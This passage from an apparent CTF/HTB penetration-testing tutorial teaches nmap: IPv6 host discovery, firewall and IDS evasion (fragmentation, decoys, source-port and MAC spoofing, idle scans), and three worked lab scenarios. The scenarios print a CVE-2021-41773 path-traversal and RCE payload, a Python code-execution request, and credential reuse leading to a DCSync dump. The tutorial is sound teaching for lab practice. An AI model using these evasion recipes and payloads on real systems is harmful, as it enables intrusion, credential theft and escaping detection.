# You MUST specify the interface with %interface
nmap -6 fe80::1%eth0
nmap -6 fe80::a00:27ff:fe4e:1234%tun0
# Discover link-local neighbors
ping6 -c 3 ff02::1%eth0 # All-nodes multicast
# Then scan discovered addresses
# Alternatively, use nmap's IPv6 neighbor discovery:
nmap -6 --script=targets-ipv6-multicast-echo --script-args interface=eth0
IPv6 subnets are astronomically large (/64 = 2^64 addresses), so traditional sweeping doesn't work. Instead, use multicast-based discovery or wordlist-based scanning:
# Multicast-based IPv6 host discovery (local network)
nmap -6 --script=targets-ipv6-multicast-echo,targets-ipv6-multicast-slaac \
--script-args newtargets,interface=eth0
# If you know the IPv4 address, derive the IPv6 address:
# Many systems use EUI-64 to auto-generate the IPv6 address from the MAC address
# MAC: 08:00:27:4e:12:34 β IPv6 suffix: ::0a00:27ff:fe4e:1234
# Scan common IPv6 patterns
nmap -6 2001:db8::1-254 # Low addresses often used manually
nmap -6 fe80::1-ff%eth0 # Low link-local addresses
Watch for these IPv6 clues in CTFs:
/etc/hosts or DNS AAAA records.dig AAAA target.htb to check for IPv6 addresses. If the box has one, scan it.ip -6 neighbor to find other IPv6 hosts on the segment.# Check for AAAA records
dig AAAA target.htb @10.10.10.100
# On a compromised Linux host, check IPv6 neighbors
ip -6 neighbor show
ip -6 addr show # What IPv6 addresses does this host have?
# Scan discovered IPv6 address
nmap -6 -sC -sV dead:beef::0250:56ff:feb9:1234
In real-world engagements (and some harder CTFs), firewalls and IDS (intrusion detection systems, software that monitors network traffic for suspicious activity) will block or alert on your scans. Nmap has numerous evasion techniques built in.
Splits IP packets into tiny fragments, making it harder for firewalls and IDS to reassemble and inspect them:
# Fragment packets (8-byte fragments)
nmap -f 10.10.10.100
# Double fragmentation (16-byte fragments)
nmap -f -f 10.10.10.100
# Set custom fragment size (must be a multiple of 8)
nmap --mtu 24 10.10.10.100
# Why this works: Simple packet filters inspect individual packets.
# If the TCP header is split across fragments, the filter can't read
# the destination port and may let it through.
# Modern firewalls reassemble fragments β this only works on older/simple firewalls.
Makes the scan appear to come from multiple IP addresses, hiding your real IP in a crowd of decoys:
# Use random decoys
nmap -D RND:10 10.10.10.100
# Generates 10 random decoy IPs β your scan is mixed in
# Use specific decoy IPs
nmap -D 10.10.10.1,10.10.10.2,10.10.10.3,ME 10.10.10.100
# ME = your real IP. Place it anywhere in the list.
# The target sees scans from all these IPs simultaneously.
# They can't tell which one is real (unless they correlate with
# network flow data showing only YOUR traffic is bidirectional).
# Important: Decoy IPs should be alive on the network, otherwise
# the SYN-ACKs to dead hosts generate RSTs and give away the decoys.
Some firewalls allow traffic from "trusted" source ports (like DNS port 53 or HTTP port 80). You can spoof your source port:
# Scan using source port 53 (DNS)
nmap --source-port 53 10.10.10.100
# Source port 88 (Kerberos β might bypass AD-aware firewalls)
nmap --source-port 88 10.10.10.100
# Combine with other techniques
nmap -sS --source-port 53 -f -T2 10.10.10.100
# This works because lazy firewall rules sometimes look like:
# "ALLOW from any port 53 to any" (intended for DNS responses)
# Your scan packets ride through on that rule.
Slow scans avoid triggering IDS thresholds. Most IDS systems alert on "X connections in Y seconds." Spread your scan out enough and you fly under the radar:
# Paranoid timing β 5 minutes between probes
nmap -T0 10.10.10.100
# Sneaky timing β 15 seconds between probes
nmap -T1 10.10.10.100
# Custom timing for precision
nmap --scan-delay 10s --max-retries 1 10.10.10.100
# Randomize target order (avoid sequential scanning patterns)
nmap --randomize-hosts 10.10.10.0/24
# Combine timing evasion with other techniques
nmap -T1 -f -D RND:5 --source-port 53 10.10.10.100
# Slow, fragmented, with decoys, from "DNS" β maximum stealth
Normal nmap packets have recognizable sizes. Adding random data changes the packet signature:
# Append 25 random bytes to each packet
nmap --data-length 25 10.10.10.100
# This changes the packet fingerprint β IDS signatures that match
# on exact packet sizes will miss the modified packets.
# Combine with fragmentation for layered evasion:
nmap -f --data-length 50 --source-port 53 -T2 10.10.10.100
# Spoof MAC address
nmap --spoof-mac 0 10.10.10.100 # Random MAC
nmap --spoof-mac Dell 10.10.10.100 # Vendor prefix
nmap --spoof-mac 00:11:22:33:44:55 10.10.10.100 # Specific MAC
# Send packets with a bad checksum (some firewalls drop, some pass)
nmap --badsum 10.10.10.100
# Use idle scan (bounce off a zombie host β truly anonymous)
nmap -sI zombie.host 10.10.10.100
# The target only sees packets from the zombie, never from you
# Requires a zombie with predictable IP ID sequence
# Append custom hex data
nmap --data 0xDEADBEEF 10.10.10.100
π‘ Pro Tip: In CTFs, evasion is rarely needed β boxes are designed to be scanned. In real engagements, start stealthy and escalate noise only as needed. The combination of -T2 -f --source-port 53 -D RND:5 is a solid baseline for evading basic IDS.
Here are three detailed scenarios showing exactly how nmap output drives the entire exploitation chain.
This scenario demonstrates why full port scanning is non-negotiable. The target looks boring with a default scan, but a hidden API on a high port leads to remote code execution.
# Step 1: Default scan β looks boring
$ nmap -sC -sV 10.10.10.200
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian
80/tcp open http nginx 1.19.6
|_http-title: Welcome to Our Company
# Step 2: Full port scan reveals a hidden service
$ nmap -p- --min-rate 5000 10.10.10.200
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
41337/tcp open unknown β What's this?
# Step 3: Deep scan the new ports
$ nmap -p 3000,41337 -sC -sV 10.10.10.200
3000/tcp open http Node.js Express framework
|_http-title: API Documentation
41337/tcp open http Python/3.9 aiohttp 3.7.4
|_http-title: Internal Debug Console
# Step 4: The debug console on 41337 accepts Python code β RCE!
# curl http://10.10.10.200:41337/exec -d 'code=__import__("os").popen("id").read()'
# uid=1000(webdev) gid=1000(webdev)
Key takeaway: The default top-1000 scan completely missed both the Node.js API (port 3000) and the debug console (port 41337). The -p- scan found the entry point that led to initial access.
This scenario shows how precise version numbers from -sV directly lead to finding a public exploit.
# Step 1: Service enumeration
$ nmap -sC -sV -p- --min-rate 5000 10.10.10.201
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1
80/tcp open http Apache httpd 2.4.49
|_http-title: Site doesn't have a title
443/tcp open ssl/http Apache httpd 2.4.49
| ssl-cert: Subject: commonName=internal.target.htb
3306/tcp open mysql MySQL 8.0.27
# Step 2: Apache 2.4.49 β immediately recognizable as CVE-2021-41773!
# Path traversal + RCE when mod_cgi is enabled
$ curl 'http://10.10.10.201/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd'
# root:x:0:0:root:/root:/bin/bash
# ...
# Step 3: Verify RCE
$ curl 'http://10.10.10.201/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'echo; id'
# uid=33(www-data) gid=33(www-data)
# Step 4: Notice the ssl-cert output β it leaked an internal hostname!
# Add internal.target.htb to /etc/hosts for further enumeration
# Step 5: MySQL 8.0.27 + credentials from web config β database access
$ mysql -h 10.10.10.201 -u webapp -p'FoundInConfig!'
Key takeaway: The version number Apache/2.4.49 immediately identified CVE-2021-41773. The ssl-cert script revealed an internal hostname. Every piece of nmap output contains actionable intelligence.
This scenario demonstrates why UDP scanning matters. The TCP scan looks locked down, but SNMP on UDP 161 leaks everything needed for full compromise.
# Step 1: TCP scan β limited attack surface
$ nmap -sC -sV 10.10.10.202
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
389/tcp open ldap
445/tcp open microsoft-ds
# Standard DC ports β no easy wins here
# Step 2: UDP scan finds SNMP!
$ nmap -sU --top-ports 30 -T4 10.10.10.202
PORT STATE SERVICE
53/udp open domain
123/udp open ntp
161/udp open snmp β GOLDMINE
# Step 3: Walk the SNMP tree
$ nmap -sU -p 161 --script=snmp-brute,snmp-info,snmp-win32-users,snmp-processes 10.10.10.202
# | snmp-win32-users:
# | Administrator
# | svc_backup
# | j.smith
# | snmp-processes:
# | 1234 sqlservr.exe
# | 5678 backup_script.exe --password Backup2024!
# β Password visible in process command line arguments!
# Step 4: Use the leaked password
$ crackmapexec smb 10.10.10.202 -u svc_backup -p 'Backup2024!'
# [+] domain.htb\svc_backup:Backup2024! (Pwn3d!)
# Step 5: svc_backup has backup operator privileges β DCSync
$ impacket-secretsdump domain.htb/svc_backup:'Backup2024!'@10.10.10.202
Key takeaway: The TCP scan showed a hardened DC with no obvious vulnerabilities. The UDP scan revealed SNMP with a default community string, which leaked usernames and a cleartext password from a running process. That single password led to domain admin. Never skip UDP scanning.
Best for: Full-featured pentesting, service enumeration, vuln scanning with NSE. The gold standard for detailed reconnaissance.
Best for: Scanning entire networks or the internet at blistering speed. Use it to find open ports, then hand off to Nmap for deep enumeration.
Best for: CTFs and HTB β blazing fast port discovery that auto-pipes results into Nmap for service detection. Best of both worlds.
nmap -sC -sV 10.10.10.100 and see only ports 22 and 80. You suspect there are more services. What should you do next?-sC -sV only scans the top 1,000 ports. Services often hide on non-standard ports (like Jenkins on 50000, or debug consoles on 41337). A full -p- scan with --min-rate 5000 discovers ALL open TCP ports quickly. After finding everything, you do targeted -sC -sV on the discovered ports. UDP scanning is also important but isn't the first step when you suspect hidden TCP services.-p- --min-rate 5000) to find ALL open ports. Then you do a deep -sC -sV scan targeting only those ports. Next, run targeted NSE scripts based on what services you found (e.g., smb-vuln* for SMB, http-enum for web). UDP scanning runs in the background because it's slow. This approach minimizes time while maximizing coverage.smb-vuln-ms17-010 specifically tests for the EternalBlue vulnerability (MS17-010). While --script=vuln would also catch it (it runs all vuln scripts), it's slower and noisier. smb-enum-shares enumerates share names, and smb-os-discovery fingerprints the OS β useful but not vulnerability detection. Always use targeted scripts when you know what you're looking for.443/tcp open ssl/http nginx 1.18.0
| ssl-cert: Subject: commonName=target.htb
| Subject Alternative Name: DNS:admin.target.htb, DNS:dev.target.htbssl-cert script leaks additional hostnames through the Subject Alternative Name (SAN) field! admin.target.htb and dev.target.htb are virtual hosts that serve different content. You should immediately add these to /etc/hosts and enumerate each one. This is a very common CTF technique β the SSL certificate is one of the best sources for discovering virtual hosts.-oA (output All) creates three files: .nmap (normal/human-readable), .gnmap (grepable β great for scripting and extracting port lists), and .xml (for importing into tools like Metasploit with db_import). Always use -oA β it costs nothing extra and gives you maximum flexibility. The grepable output is especially useful for extracting a comma-separated port list for follow-up scans.